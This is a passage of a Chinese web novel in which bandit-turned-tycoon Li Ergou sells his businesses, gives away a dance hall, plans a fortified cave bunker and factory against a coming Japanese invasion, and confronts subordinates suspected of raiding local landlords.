“狗哥,我怎么让你为难了?你可别吓我啊!我真胆小!” 李师师夸张地抚摸着自己的胸口,一张俏脸红扑扑的,甚是妖娆。 “我再问你一个问题,你想过离开百乐门大舞厅吗?” 李二狗先是问她在百乐门干的舒不舒心,继而又问她想没想过离开百乐门,他葫芦里到底卖的什么药? “狗哥,你有话就直说吧,可别这样一句一句的问我,我这小心脏可真受不啊!” “师师,你不要逃避我的问题!等你回答了我再告诉你。” 李师师毫不犹豫地说道:“我当然舍不得离开百乐门,如果你和静雯姐同意,我愿意在百乐门大舞厅干一辈子,干到死!” 尽管李师师的回答完全在李二狗的意料之中,但他亲耳听到这话从李师师嘴里说出来,还是非常感动。 李二狗果然没有看错人。 “师师,最近我和你静雯姐商量之后,决定把吴氏企业名下的产业除了几家制药厂之外全部卖掉。” 李二狗此言一出,李师师呆若木鸡。 她万万没有想到,李二狗竟然要把吴氏企业名下这么多的产业全部卖掉,他究竟要干什么? 崽卖爷田不心疼吗?可李二狗不是这样的人啊! “狗哥,你这是要做什么?我虽然不懂,但据我了解,吴氏企业名下的这些产业基本上都是挣钱的,你们为什么要卖掉?” 李二狗想了想,觉得没必要把自己对未来的判断现在就告诉李师师。 “世事艰难,吴爷现在又杳无音讯,我不想涉及太多的产业。” 第593章 远在天边,近在眼前 “狗哥,百乐门大舞厅也要一起卖掉吗?” 李师师哭丧着脸,还是问出了自己最想问的问题,百乐门大舞厅是她赖以生存的根本。 “是啊,刚才我都说了,除了几家制药厂之外,其他的产业全部卖掉!一个不留!” 好一个一个不留! 李师师沉默了,她在心里估算着百乐门大舞厅的出售价格,但省城第一娱乐场所的价值,又岂是她一个小小的经理能买得起的。 虽说她现在只是百乐门大舞厅的经理,但李二狗和静雯给予她充分的信任,她实际上享受的是老板的待遇。 一旦百乐门大舞厅转售,那她就无法再当这个舞厅的经理,更别提什么老板待遇了。 她将近三十岁的年纪,说大不大,说小也不小,也是有一定身份和地位的人,她不可能再从领班或者舞女做起。 “是不是舍不得?” 李师师叹息道:“确实舍不得!” “其实我也舍不得!” 李师师闻言急忙说道:“狗哥,既然你也舍不得,那就别卖了吧?百乐门大舞厅看着规模不大,其实每天也有不少的收入。” 李二狗坚决地说道:“我已经决定了,除了制药厂之外,一个不留!” 李师师最后一丝希望也破灭了,她的心情灰暗到了极点。 “那找到买家吗?” “找到了!” 李师师不禁吃了一惊,竟然连买家都已经联系好了,看来出售百乐门大舞厅已是板上钉钉的事实。 自己以后将如何安身呢? 李二狗把产业都卖了,不可能再把她带在身边! 即使李二狗愿意,静雯也不一定愿意。 “是谁?” “远在天边,近在眼前。” 李师师瞬间睁大了眼睛,她难以置信地看着李二狗,他的眼前除了自己,别无他人! “你是说……我?” “怎么?你难道不愿意吗?你刚才不还说舍不得离开百乐门吗?现在就要反悔了?” 李师师完全懵圈了! “不对……这……可我哪有这么多钱啊?狗哥,你就别逗我了。” “师师,我没有逗你,我决定把百乐门大舞厅送给你!” 闻听此言,李师师“噌”的站了起来,她彻底懵圈了! “送……给我?狗哥,你别逗我了,我又不是十几岁的小姑娘。” “哥不喜欢小姑娘,就喜欢你这样的大……姑娘,哈哈。” 李师师这才确信李二狗绝不是在逗她,而是真打算把百乐门大舞厅送给她。 “狗哥,我……我不能要!”李师师激动地哭了出来,“我哪有资格接受你这么大的馈赠?我愿意给你打一辈子的工。” 凭借百乐门大舞厅在省城的名声,卖个二三万块大洋,一点都不成问题。 但对于李二狗来说,这二三万块大洋并不是什么大钱,放在他手里也就是多点少点的事。 可送给李师师,她后半生就有了保障。 即使以后日本人真打过来,凭她八面玲珑的手段,照样可以让百乐门大舞厅正常营业。 最重要的是,现在把百乐门大舞厅送给她,她会非常开心。 李二狗喜欢看着和自己亲近的女人开心。 他目前已经实现了财富自由,心里就想着做一些让自己真正开心的事情。 钱这个东西,生不带来,死不带去,如果不花出去,没有丝毫价值,而开心才是无价的。 “狗哥,我……我都不知道该怎么感谢你了?要不然,我现在去插门,然后好好感谢感谢你……” 李二狗看看沙发,又看看李师师,笑道:“师师,没想到,你玩的还挺花,哈哈。” “你……你讨厌!狗哥,我没开玩笑,人家可是发自肺腑的想感谢你。” “我知道你对我的情谊!我把百乐门大舞厅送给你可不是为了这些。” “那你是为了什么?” 李师师觉得,自己最珍贵的东西就是自己的身体,李二狗不要自己的身体,那他到底想要什么?” “一天一天贴近你的心,你开心,我关心。” 李师师彻底沦陷了! “狗哥,以后我就是你的女人,只要你一声召唤,随时随地我都愿意为你赴汤蹈火。” 李二狗笑道:“师师,我不需要你的这些感谢,只要你过得好,我就开心了。” “狗哥……” 李师师依偎在李二狗怀中,她太爱李二狗了。 “趁着现在还算安稳,多存点钱,你一个女人在外边打拼,很不容易。” “狗哥,你对我的好,我记一辈子。” “记不记一辈子不重要,你开心才最重要!” 吴氏企业在省城有良好的口碑,再加上都是盈利的企业,在不到两个星期的时间内,除了几家制药厂之外,吴氏企业名下的产业全部出售。 按照李二狗的计划,他们把这些钱一半存在了几大外国银行,另一半的钱换成黄金之后也存在了这几家外国银行。 李二狗又在上海的租界区购买了几套别墅。 虽然变卖了大部分产业,但剩下的四家制药厂就像印钞机一样,大把大把的钱源源不断地涌来。 除了稳定的日本市场之外,酒井空在欧美市场也干的风生水起。 尤其是美国,那些身高体壮的美国男人几乎人人都需要这种药丸,哪怕身体不错的男人也愿意吃这种药丸。 女人拒绝不了一夜八次带来的快感,男人更加拒绝不了一夜八次带来的成就感。 李二狗放弃亲自去美国的想法,他拍了一封电报,让酒井空在曼哈顿地区代买了两栋别墅,以备不时之需。 李二狗现在最重要的事情是为省城的这几家制药厂寻找几处合适的备选地点,一旦日本人打进来,工厂可以被炸毁、被强占,但一夜八次丸的生产绝对不能停! 李二狗回到清风集团,来到后山。 建寨之初,李二狗为了留条后路,让陈老三带人在后山挖了一个山洞。 如果把整个后山掏空,在日本人侵华后,能不能把制药厂转移到这里,打造一处秘密地下工厂?这是李二狗正在思考的事情。 第594章 伟大的工程 李二狗把秀才、陈老三和望冬三个人召集到议事厅商量事情。 这几个人是清风集团的核心管理层,秉持着小事开大会,大事开小会、重要的事情不开会的原则,李二狗只把他们三人召集过来。 清风农场后山的山洞开凿于清风寨建寨之初,是陈老三带人开凿的,当时只有少数几个人知晓。 建成之后,为了安全起见,李二狗一直没有启用。 他直接开门见山地说道:“我想把后山的山洞再扩大十倍,大家有什么意见现在可以发表?” 三个人闻听此言,皆是错愕不已。 他们面面相觑,不明白李二狗把山洞扩大十倍的真正意图是什么。 陈老三没忍住,率先问道:“狗哥,山洞自从建成之后就一直没有使用,现在再扩大十倍,是不是有点浪费?建这么大干什么?” 李二狗笑了笑,没有回答陈老三的疑问。 “秀才,你有什么建议?” 后山的山洞,秀才只进去过一次。 这个山洞入口比较隐蔽,进入山洞内部,十分宽敞,同时分成了几个大小不一的洞区,不过山洞出口却只有一个。 山洞虽然不大,但足够装下二三百人。 李二狗现在要扩大十倍的规模,秀才一时间还不能领会李二狗的真正意图。 “狗哥,目前山洞的面积虽然不大,但足够在关键时刻容纳下清风农场的所有兄弟。你是想把山洞进一步扩大,容纳咱们集团所有的兄弟吗?如果是那样的话,扩大一倍就可以实现了。” 秀才看似分析的头头是道,但缺乏远见和对当前及未来全国局势的判断。 李二狗又看向望冬。 “望冬,你什么意见?” 望冬不假思索地说道:“狗哥,我同意你的意见。” 李二狗很满意望冬的态度。 在不能理解领导真正的意图的时候,不贸然反对,而是选择同意领导的意见,这样的人虽不能独当一面,却是可以放心使用的人。 望冬的表现符合李二狗给她的定位。 在充分发挥民主之后,李二狗开始集中。 “把山洞扩大十倍这件事,现在就定下来,我已经联系了省城的一个知名建筑设计师,他明天会到集团,等设计图纸确定之后,由老三负责施工。” 在李二狗的规划里,山洞要按照军事要塞的标准进行改造提升。 整个山洞全部用钢筋混凝土浇筑。 山洞的入口不仅要隐蔽,还要坚固,在洞口顶部和四周都要浇筑厚厚的混凝土,标准是可以抵御日军飞机轰炸和大口径重炮轰击。 同时,在悬崖峭壁上要建造多个永久性的碉堡、暗堡以及永备火力点。 山洞内部要进行分区建设,建设指挥所、观察所、议事厅、弹药库、燃料库、粮食库、住宿区、医务所、伙房、浴池、上下水道、水井及通风口等关键设施。 同时把山洞三分之一的区域打造成数个生产车间,战时可以生产一夜八次丸。 另外,要在山洞不同方向建设多处秘密出口,便于在紧急情况下,分散撤离。 如果能完全按照李二狗的这个规划进行建设,建成之后,清风集团将成为整个中国最坚固的堡垒。 陈老三等人听了李二狗的决定之后没有丝毫惊讶,他们已经习惯了李二狗这样发号施令。 他决定的事情就是清风集团的圣旨,大家理解不理解都没关系,但必须无条件执行。 一个星期之后,山洞设计图纸完成了。 李二狗再次把秀才、陈老三和望冬召集到议事厅商量事情。 听完建筑设计师凌小粟的讲述,秀才等三人全部惊呆了。 他们想过李二狗要搞事情,但没想到他会搞这么大的事情。 建设这样一个山洞,别的不说,单单资金一项就足以拖垮清风集团。 秀才作为总经理,不得不谨慎地提出自己的意见。 “狗哥,这个山洞的确非常好,但建设如此规模的山洞,需要投入大量的资金和人力,对咱们集团来说,可能会有些困难啊。” 望冬掌管山寨财务,她更清楚集团的财务状况。 “是啊,狗哥,你就是把我卖了也凑不齐这么多钱啊。” 李二狗笑道:“哈哈,把你卖了,老三还不得和我拼命啊。” 众人都笑了。 “钱的事大家先不用考虑,需要多少资金我来负责筹集,大家现在就考虑这个山洞能不能建成?怎么建?需要建多久?” 众人都是第一次接触如此规模的土建工程,都不敢轻易发表意见。 “凌先生,我看还是你给大家说说吧。” 凌小粟是一个理想主义者,他为自己设计出这样一个伟大的山洞要塞而激动不已。 “李先生,我实在是太激动了,如果这个山洞建成,这将是一个伟大的工程,一定是我今生最满意的作品。” 李二狗笑道:“凌先生,你先不要激动,你和大家说一说,建成需要多久?” 凌小粟早已有所准备。 “李先生,这个工程什么时候能建成,取决于你们能招募多少劳力。” 李二狗想了想,说道:“如果有五百名劳动力,需要多久?” 凌小粟想了想,十分肯定地说道:“至少需要两年的时间。” 中日之间的战争什么时候爆发,李二狗根本无从判断,但五百名劳动力已经是他能招募的极限了。 如果人数再增加,就超越了清风集团承受的极限,而且人数众多也容易引起各级政府的警觉。 “凌先生,我需要你调整一下设计方案。” “调整?”凌小粟一脸疑惑,“李先生,这是一个非常完美的设计方案,我不允许我的设计存在一丁点缺憾!” 李二狗没想到凌小粟还是个倔头。 “凌先生,我说的调整是调整一下施工的过程,我建议把整个工程分成三期,先集中人力物力财力建成一期,等建成一期之后再建设二期,最后再建设三期。” 李二狗的这个要求可以最大限度地减小日本突然侵华带来的冲击。 三期工程彼此独立又相互联通,李二狗这个主意可谓是高瞻远瞩又具有很强的可操作性。 第595章 你娶了个好媳妇 凌小粟万万没有想到,李二狗一个时常蒙面示人的土匪头子竟有如此高的见地,当即对他刮目相看。 “李先生,你这个主意实在是太高明了,我马上就回去调整方案。” “凌先生,要快,时不我待啊。” 凌小粟挥舞着手中的图纸,大声回应道:“我也有些迫不及待了。李先生,今天我连夜把图纸修改好,明天给你。” 凌小粟兴奋地拿着设计图纸走了。 李二狗就喜欢和这样有激情的人合作。 “老三,山洞施工的事情就由你全权来负责。” 对于李二狗的这个安排,陈老三当然开心的不得了。 负责这样一个规模宏大的工程,手指缝里漏出来的那一点都够他陈老三吃喝嫖赌半辈子的。 他兴奋地搓了搓手,满怀激情地说道:“狗哥,你就交给我吧,我一定不会辜负你的期望。” 陈老三心里对李二狗充满了无限的感激之情,他是真拿自己当亲兄弟啊。 看着陈老三兴奋的样子,李二狗只是微微一笑。 陈老三一撅腚,李二狗就知道他要放什么味的屁。 不过水至清则无鱼的道理他还是懂的,但李二狗还是决定提前敲打敲打陈老三。 “老三,你他娘的先别高兴的太早,如果到时候不能如期完工,或者中间出了什么岔子,我拿你是问。” 陈老三拍着胸脯保证道:“狗哥,你就放心吧,我陈老三别的不敢保证,但钻洞我可是专业的。” 几个男人几乎同时笑着望向望冬,闹了望冬一个大红脸,陈老三还不知道大家为什么笑。 李二狗再次强调道:“老三,一定要保证工程质量,如果出现豆腐渣工程,到时候可别怪老子六亲不认。” 陈老三腆着脸说道:“狗哥,你还不了解我吗?我这人最大的特点就是实在,我向你保证,肯定不会出任何问题。” “老三,嘎子和石头的事情,你一定要吸取教训,我不希望你犯不该犯的错误。” 李二狗说完,又意味深长地看了望冬一眼。 望冬当即心领神会,她保证道:“狗哥,你放心,我监督他,他要敢来浑的,我就……我就休了他。” “哈哈……” 大家都哈哈大笑了起来。 “对了,狗哥,这五百个修山洞的人怎么找?” 李二狗心中早有打算。 “这五百人分成两部分,一半的人在山下找,另一半的人从咱们集团出。” “从集团出?”陈老三有些不理解李二狗的安排。 要么都从集团出,要么都从山下找,现在却要求集团只出一半的人,谁愿意去干挖洞这种苦差事? “对,从集团出!”李二狗回答的很坚决,“让每个农场出五十人,三个月一轮换,每人在原有待遇不变的基础上,每个月再多发五块大洋补贴。” “五块大洋?” 陈老三认为李二狗是疯了。 一个月五块大洋,快赶上他这个副董事长的月饷了,那大家还不争先恐后地来? “狗哥,这五块大洋是不是有点太多了?” “重赏之下必有勇夫,不过我这五块大洋是有前提的,为了激发大家的干劲,秀才,你来牵头,制定出一个切实可行的激励方案来。每天定下一个工作的基础量,只有完成这个基础量,每个月才能发五块钱补贴,否则一分钱都没有。” “那如果有人超额完成的呢?”秀才一边记一边问道。 “超额完成会有超额奖励,至于具体的奖励标准,秀才,你和望冬商量商量,尽快拿出一个意见来,到时候咱们再上寨务会研究。” 陈老三又问道:“狗哥,那正纳闷从山下找的那些人,一个月又发多少钱?” 李二狗本来也想发五块大洋,但想到现在到处兵荒马乱又灾年连连,如果发五块大洋,一旦消息传出去,周边的农民、流民会把清风农场挤得水泄不通。 做事绝不能太高调,这是李二狗为人处世的原则。 “对他们管吃管住,一个月发两块大洋,同时也要制定一个类似的激励方案,多劳多得。总之,我只有一个要求,我只看工程进度,不管具体花费,越快越好,大家分头去准备吧。” 大家散了后,望冬照例选择留了下来。 陈老三临出门前,还不忘回头看了望冬一眼,望冬根本没理他。 他没敢停留,赶紧走出了议事厅。 秀才阴阳怪气地说道:“老三,你娶了个好媳妇啊。” 还未等陈老三反应过来,秀才已经屁颠屁颠地跑开了。 “狗哥,这个山洞要是建成,花费可是非常大的,你哪来的那么多钱?咱们集团可是没有多少积蓄啊。” 李二狗知道望冬特意留下来就是为了问钱的事。 望冬这个人有个优点,有一些重要的事情,比如人事安排、财务收支,她从不会当着其他人的面向李二狗提出来,都是私下和他单独密谈。 修建山洞的具体费用,李二狗已经咨询过凌小粟,完全在他的承受范围之内,毫不谦虚地说,这点钱对李二狗来说,只是九牛一毛。 “钱的事你不用担心,工程启动之后,我先给你五万大洋。” 李二狗轻飘飘的一句话,惊得望冬目瞪口呆。 这个男人在她心中就是神一般的存在。 “狗哥,你为什么非要建这个山洞呢?” 望冬从来不当着众人的面质疑李二狗的决定,但私下里还是会忍不住发出自己的疑问。 李二狗知道和望冬讲国际国内形势她肯定听不懂。 “有钱烧的,哈哈。” 李二狗说完就大步走出了议事厅。 望冬在身后娇嗔道:“狗哥,你净会骗人!” 其实,修建这个山洞,确实有一个重要的原因就是李二狗钱多到没处花。 通过生产销售一夜八次丸,李二狗已经积累了海量的财富。 在国外几大银行存的钱和黄金,每年光利息,李二狗一辈子都花不完。 钱不花出去永远只是个数字,只有花出去才有它的价值,李二狗绝不做守财奴。 第596章 我一直拿你当妹妹 回到胡家大院时已是掌灯时分。 张玲玉半年前已经从省城医院回到胡家大院,病情虽有所缓解,但当初精神上受到的强烈刺激还是令她不认识任何人。 “狗哥,你来了。” 惜春见到李二狗,脸上立马浮现出一抹潮红。 这两年,李二狗一直对惜春不错,她也出落得愈发明艳动人。 李二狗知道惜春对自己的那番情谊,所以轻易不敢招惹她。 没有女人愁,女人多了更愁,李二狗现在无疑是痛苦的。 “惜春,二奶奶最近怎么样?” 惜春本想和李二狗叙叙旧,没想到他根本不给自己机会。 “哎,二奶奶还是老样子,时好时坏的。”惜春犹豫了一下,还是决定告诉李二狗一件事,“狗哥,有一天晚上,二奶奶在睡梦中叫了你的名字。” 李二狗瞬间泪目。 除了已经死去的胡福,在这个世界上,张玲玉唯一能记住的名字竟然是李二狗。 他赶紧假装抬头看天,不想让惜春看到自己的狼狈。 惜春虽然来胡家大院比较晚,但细心的她早就发现了李二狗和张玲玉之间特殊的关系。 李二狗是胡家大院管家不假,但如今胡家大院是大奶奶于兰芝当家,李二狗完全没有必要对一个疯疯癫癫的二奶奶如此上心。 事出反常必有妖,李二狗如此对待张玲玉,只能说明一个问题,他俩曾经有故事。 李二狗对一个疯疯癫癫的女人都如此不离不弃,他无疑是一个有情有义的男人。 惜春在省城的时候,侧面打听过李二狗的事情,没想到他竟是省城大拿吴有德的干儿子。 震惊的同时,她心中也多了几分绝望。 她知晓自己的身份,李二狗根本不会喜欢她这样的女人。 与其怨天怨地,不如做一个懂事乖巧的女人,她知道,李二狗对待女人一向大方,绝不会亏待她。 “狗哥,我去给二奶奶洗衣服,你先进屋去看看二奶奶吧。” 惜春说完就快步离开了,她得体的表现和身上透出来的那股聪明劲,李二狗看的眼里,记在心里。 惜春无论是样貌还是身材都是一个不错的女人,关键是懂事。 李二狗喜欢一个女人,初见看相貌,久处则更看重性格。 如果不懂事,根本做不了李二狗的女人。 张玲玉就是一个很典型的例子。 她如果不是这样疯癫,也许和李二狗早就闹得水火不相容。 进入屋内,张玲玉正坐在椅子上发呆。 她听到动静,抬头看了一眼李二狗,傻笑了两声,又低着头去发呆。 李二狗搬了一个凳子,坐到她身前。 这个世界上,除了惜春之外,只有李二狗可以近距离坐在张玲玉面前,否则换作其他人,她会又喊又叫。 “玲玉,你知道李二狗是谁吗?” 张玲玉没有抬头,嘴里嘟囔着“李二狗、李二狗……” “不记得了?” 张玲玉嘴里还是一直嘟囔着“李二狗”这个名字。 “我记得他。”张玲玉突然抬头看着李二狗,“他是我儿子。” 李二狗先是震惊接着又是失望。 “你儿子叫胡福,不是李二狗,你再好好想想。” 张玲玉的眼睛里充满了疑惑、迷惘和不解。 “我儿子叫胡福,对啊,我儿子叫胡福……” 张玲玉突然拉住李二狗的胳膊,用迷茫的眼神哀求道:“我儿子丢了,你能帮我找到我儿子吗?我儿子可乖了,他可乖了。” 李二狗不忍张玲玉这样难过,便安慰道:“只要你乖乖的,我就答应帮你找儿子,好吗?” 张玲玉的眼神里透出一丝明亮。 “我乖,我乖,我好久没见我儿子了,我好想他。” 李二狗受不了这样的场景,曾经的张玲玉嚣张跋扈、不可一世,如今却变成现在这个样子。 世事无常、造化弄人,只有珍惜当下才是最好的选择。 “你乖乖听惜春的话,好好吃饭,好好睡觉,我去帮你找儿子。” “嘻嘻,我听话,我乖乖的,嘻嘻……” 李二狗出了屋子,惜春正在柴房门口洗衣服。 看到李二狗出来,她赶紧站起身,问道:“狗哥,二奶奶认出你了吗?” 李二狗叹息一声,轻轻地摇了摇头。 “惜春,这些日子难为你了。” 惜春鼻子一酸,落下泪来。 伺候一个疯婆子,确实不是一件轻松的事情,但这就是她的命。 “我没有难为,狗哥,伺候二奶奶是我应当应份的。” “惜春,我已和大奶奶说过了,把你的卖身契给你,你随时可以离开胡家大院。” 惜春当即哭了出来,她渴望拿回自己的卖身契,又害怕拿回卖身契。 兵荒马乱的时节,离开胡家大院,她根本没有活路。 她不愿意再回到自己家里,一个能把自己卖掉的父母,她早就对那个家心灰意冷。 “狗哥,我不想离开你。”惜春说完,感觉不妥,又补充道:“不想离开二奶奶和胡家大院。” “把卖身契给你是还你自由,胡家大院你当然可以继续留下来。” 惜春哭得梨花带雨,乱世当中的女人就如同一叶浮萍,能有一个安身的地方已是可遇不可求。 “狗哥,你对我真好。” 惜春的眼睛里满是对李二狗的爱意,哪怕给他当个五姨太、六姨太,她也是心甘情愿的。 “惜春,你现在就好好照顾二奶奶,等你以后要嫁人的时候就告诉我,我会给你准备一份丰厚的嫁妆。” 惜春哭得更厉害了。 “狗哥,我要伺候二奶奶一辈子,我不嫁人!” 如果今生不能嫁给李二狗,那就一辈子不嫁人,这是惜春此时内心真实的写照。 李二狗知道惜春对自己的情谊,也知道这只是一个怀春少女暂时的迷惘。 “等你遇到真正你爱又爱你的男人,你就知道什么是爱情的甜蜜了,惜春,你还小,今后的路还很长,不要轻易给自己的人生设限。” “狗哥,我……” “惜春,我都懂,在我眼里,你还只是个孩子,我一直都拿你当妹妹看待。” 李二狗把话说的如此明白,就是不想再给惜春任何希望。 第597章 神秘的打砸抢烧 暮色漫过张玲玉家的四合院墙头时,皎洁的月光打在惜春满是泪痕的脸上。 她抬眼看向李二狗,月光在他棱角分明的脸上投下一抹淡淡阴影。 李二狗那双平时总是略显冷酷的眼睛,此刻竟透着几分温和。 “狗哥,”她的声音微微有点发颤,却比刚才平静了许多,“这些日子以来,你对我百般照顾,这一切我都记在心里……我知道自己身份低微……配不上你……其实在我心里,我一直把你当作亲哥哥看待。” 惜春这话说得非常坦诚,像是把藏了许久的心事揉干了搓碎了晒在月光下给李二狗看。 前几年,她被父母卖给胡家大院当丫鬟时,只是一个粗使丫头,干的是整个大院最脏最累的活。 是李二狗看中她,让她伺候张玲玉,还给了她那么多钱,让她在张玲玉这院里有个一个安身之处。 她不是傻人,看得出李二狗对自己有怜悯,却无男女之情,与其揪着那点不切实际的念想,不如守住这份安稳。 李二狗闻言,眉头几不可察地松了松。 他原本还怕惜春钻在牛角尖里走不出来,却没想到她这么通透。 他抬起手,像小时候拍邻家妹妹那样,轻轻拍了拍她的肩膀:“惜春,你能这么想,太好了。” 惜春用力擦干最后一滴泪,忽然咧开嘴笑了。 笑容在月光下显得格外明亮,像一颗蒙尘的珠子被擦净,终于露出了底下的光润。 她本来就生得清秀,这一笑,眼角的泪痣都活了过来,带着一股劫后余生的韧劲。 “狗哥,那以后,我就叫你哥了。” “嗯,”李二狗点了点头,语气里添了几分郑重,“从今往后,在这江东县,有我李二狗在,没人敢欺负你。” “哥。”惜春轻轻唤了一声,声音软得像棉花。 积压多日的委屈、惶恐,在这一声称呼里仿佛找到了归宿,她再也忍不住,往前一扑,扎进李二狗怀里。 她的身子很轻,像一片羽毛落在他胸前,带着淡淡的皂角香。 李二狗怔了一下,正在犹豫怎么安慰时,却见她肩膀微微耸动,开始无声地掉泪,李二狗抬起的手只好轻轻地搭在她背上。 他知道这姑娘的苦。 当初她父母为了给弟弟娶媳妇,把她卖了十块大洋。 她嘴上不说,夜里却常对着月亮发呆。 都说她怨恨父母,可李二狗却觉得越是这样的人越渴望亲情。 这世上的人,谁不是一边恨着,一边盼着那点稀薄的亲情呢? 惜春记得一个同龄的女人跟她说过,遇不到能做夫妻的好男人,有个能依靠的哥哥,也算求仁得仁了。 惜春埋在他怀里,闻着他身上淡淡的烟草味和汗液味,忽然觉得心里踏实了。 李二狗拍了拍她的背,又说了一些宽慰的话,让她安心在胡家大院待着,缺什么只管开口。 惜春一一应了,脸上终于有了真切的笑意。 出了四合院,晚风带着凉意扑面而来,李二狗下意识地紧了紧领口。 胡同口的老槐树下,一个黑影晃了晃,吓了他一跳,定睛一看,却是张二驴。 “狗哥!”张二驴快步迎上来,手里还攥着根烟袋,烟锅里的火星明明灭灭,“我在这儿等你好一阵子了。” 李二狗问道:“有事?” 他以前特意嘱咐过张二驴,胡家大院的事让他全权打理,这小子向来机灵,不是不懂事的人,此时一定是有要紧事。 张二驴搓了搓手,脸上带着一份凝重。 “狗哥,我有事情向你汇报。” “二驴啊,”李二狗摆了摆手,语气随意,“胡家大院那点事,你自己拿主意就行,不用事事都来问我。” 如今李二狗手里握着江东县大半的武装,黑白两道都得给他几分薄面,再加上存在银行里那些他自己都数不清的金条和大洋,一个地主大院的进项,早已入不了他的眼。 “不是大院的事,”张二驴急了,往前凑了两步,压低声音,“这事非同小可,必须跟你请示。” 李二狗见他神色严肃,也收起了漫不经心。 “说吧,什么事。” 在他看来,江东县这地界,除了生死,再没什么能算“大事”。 张二驴往四周看了看,确认没人,才凑近他耳边:“狗哥,最近这几天,周边几个村镇的大院,像是王家屯的王地主、李家坳的李老财家,接连在夜里遭了不明武装的袭击。” “遭了袭击?”李二狗皱眉道,“是什么人?土匪吗?” 像这种打家劫舍的勾当,李二狗第一反应就是土匪干的。 “不像是土匪,”张二驴摇着头,“那些人下手狠得很,不光抢东西,还伤了不少人,土匪一般只抢东西不伤人的。王地主家的闺女和丫鬟……几乎所有的女人被轮奸了,李老财的两个儿子被打断了腿,还杀了两个家丁。最怪的是,现场没留下任何痕迹,像是凭空出现,抢完就走。” 听了张二驴的这番话,李二狗原本淡然的神色骤然一变,心底瞬间掀起一阵波澜,不由得暗自吃了一惊。 他清清楚楚记得,当初他亲自部署,彻底整合了江东县境内所有零散的土匪武装,肃清了境内所有作乱的匪寇势力。 从那之后,江东县地界治安安定,匪患彻底根除,许久都未曾出现过这般恶意袭击、聚众作乱的恶性事件,地界之内一直安稳太平。 可如今突如其来的连环夜袭事件,打破了长久的平静,背后暗藏的隐患,不由得让他瞬间警惕起来。 现在突然冒出这么一伙人,来无影去无踪,显然不简单。 “查清楚是什么来头了吗?”他的声音沉了下来,眼里闪过一丝厉色。 敢在他的地盘上作乱,是活腻了? 张二驴苦着脸摇头:“派去的弟兄打听了,没人见过那些人的模样,只知道他们夜里行动。” 李二狗知道这伙人肯定不会就此收手,接下来还会继续作乱。 “二驴,加强咱们大院的警戒,同时告诉其他还没受到抢劫的地主大院,晚上掌灯时候就关门,遇到危险情况,立刻派人来报。” “好的,狗哥,我马上去安排。” 第598章 内鬼 夜露在青石板上凝成白霜时,李二狗已经坐在清风集团聚义堂的虎皮椅上了。 聚义堂里只点了一盏煤油灯,光柱子斜斜打在地上,映得他面无表情的脸忽明忽暗。 秀才站在旁边,大气不敢出。 李二狗那眼神,比山里的寒冬还冷。 李二狗是集团董事长,秀才是副董事长兼总经理,按照常理,秀才是有资格坐下和李二狗交谈的。 但李二狗不发话,秀才就不敢坐,这就是领导的权威,李二狗有这种不怒自威的气势。 “狗哥,你找我什么事?” 李二狗这才从深思中惊醒过来。 他看了秀才一眼,招手说道:“秀才,坐。” 秀才这才小心翼翼地在李二狗旁边的一个座位上坐了下来。 “最近周边村镇地主大院遭抢的事,你听说了吗?” 秀才不禁一惊,已经很久没听到有地主大院遭抢劫了。 为非作歹的地主大院早已被他们都收拾了,剩下的这些都是一些良善之辈。 而且,江东地面上的土匪都被清风集团收编,不可能还有土匪存在。 如果只是一些流氓地痞,他们的实力欺负欺负平常老百姓还可以,肯定不敢去抢劫地主大院。 难道是散兵游勇?最近周边地区并没有发生战争。 “狗哥,这是什么时候的事?” 因为过惯了安稳日子,秀才不自觉放松了警惕,以前山下发生什么事他都会第一时间得到消息。 “秀才,居安思危的道理,我不说你也应该懂。” 李二狗话不多,但很有分量。 秀才急忙站起来,自我检讨道:“狗哥,是我的失误,以后绝不会再犯。” 响鼓不用重锤,李二狗便不再继续揪着这件事不放。 “秀才,你去查。”李二狗抬眼看向秀才,油灯的小火苗在他瞳孔里跳动,“不过别声张,你亲自带两个可靠的弟兄,摸清楚他们是什么路数。有任何动静,直接向我汇报。” 李二狗怀疑是清风集团的内鬼所为。 秀才心里一凛,知道这事不一般,忙点头说道:“放心吧,狗哥,三天之内一定给你回话。” 接下来的三天,集团风平浪静,可李二狗的眼皮总是在跳。 李二狗不放心胡家大院,他这两天一直住在了大院里。 他安排张二驴加派了巡逻的岗哨,自己则揣着枪,夜里都要绕着高墙大院转两圈。 他总觉得这伙人来得蹊跷,敢在江东的地面上动土,要么是活腻了,要么是……熟门熟路。 第四天一早,李二狗回到清风集团,秀才已经在等他。 他脸色苍白,一见李二狗就快步迎了上去。 “狗哥,查……查出来了……” “进来说。”李二狗见秀才脸色凝重,心沉了半截。 秀才从怀里掏出一个布包,打开,里面是一枚铜扣子。 “这是在李家坳案发现场捡到的,”他声音发颤,“这扣子……是咱们集团制服上的,当初是我亲自订制的。还有,李家坳的人说,动手的人里,有个说河南话的。” 集团的兄弟很多,但基本都是本地人,但说河南话的,好像只有陈嘎子一人。 “还有呢?”他的声音冰冷,仿佛一切都在他的意料之中。 “我……我让一个弟兄盯着陈嘎子的住处,”秀才咽了口唾沫,“昨天夜里,看见他和张石头带着五个弟兄,偷偷摸摸回了集团……” “砰!”李二狗一拳砸在桌上,吓得秀才一哆嗦。 陈嘎子和张石头,都是集团元老,李二狗一直给他们机会,没想到他们竟偷偷干出这种勾当! “把他们俩给我捆过来!”李二狗吼道,声音仿佛要掀翻聚义堂的屋顶。 没多久,陈嘎子和张石头就被押了进来。 两人都被反剪着胳膊,陈嘎子一脸不服,张石头则低着头,肩膀抖个不停。 “狗哥,我们……”张石头刚想开口,就被李二狗瞪了回去。 “李家坳、王家屯的事,是不是你们干的?” “李家坳?什么事?”陈嘎子一脸无辜地问道。 李二狗冷笑一声。 “嘎子,要想人不知,除非己莫为,敢做不敢当吗?” “我没做,怎么承认?狗哥,我知道,你现在对我有看法,可也不能把什么屎盆子都扣我头上。” 李二狗冷冷地看着陈嘎子,突然,他大喝一声。 “来人,把陈嘎子拉出去毙了!” 此言一出,不仅陈嘎子自己,就连秀才都震惊了。 “你凭什么杀我?我没有做,你不能这样冤枉我!”陈嘎子没想到李二狗竟要枪毙自己,他极力争辩道。 “狗哥!你要冷静了!”秀才也上前劝道。 李二狗给了秀才一个眼神,秀才立刻心领神会。 “来人,把陈嘎子拖出去,枪毙!” 两个人进来,拖着陈嘎子出去了。 “你不能杀我!李二狗!你凭什么枪毙我!我不服!我不服!” 不管陈嘎子服不服,他都被拖了出去。 “砰!” 门外的一声枪响,把张石头的尿都震出来了。 “石头,我只问你一句,李家坳的事是不是你们干的?” 张石头瘫在地上吓尿了! 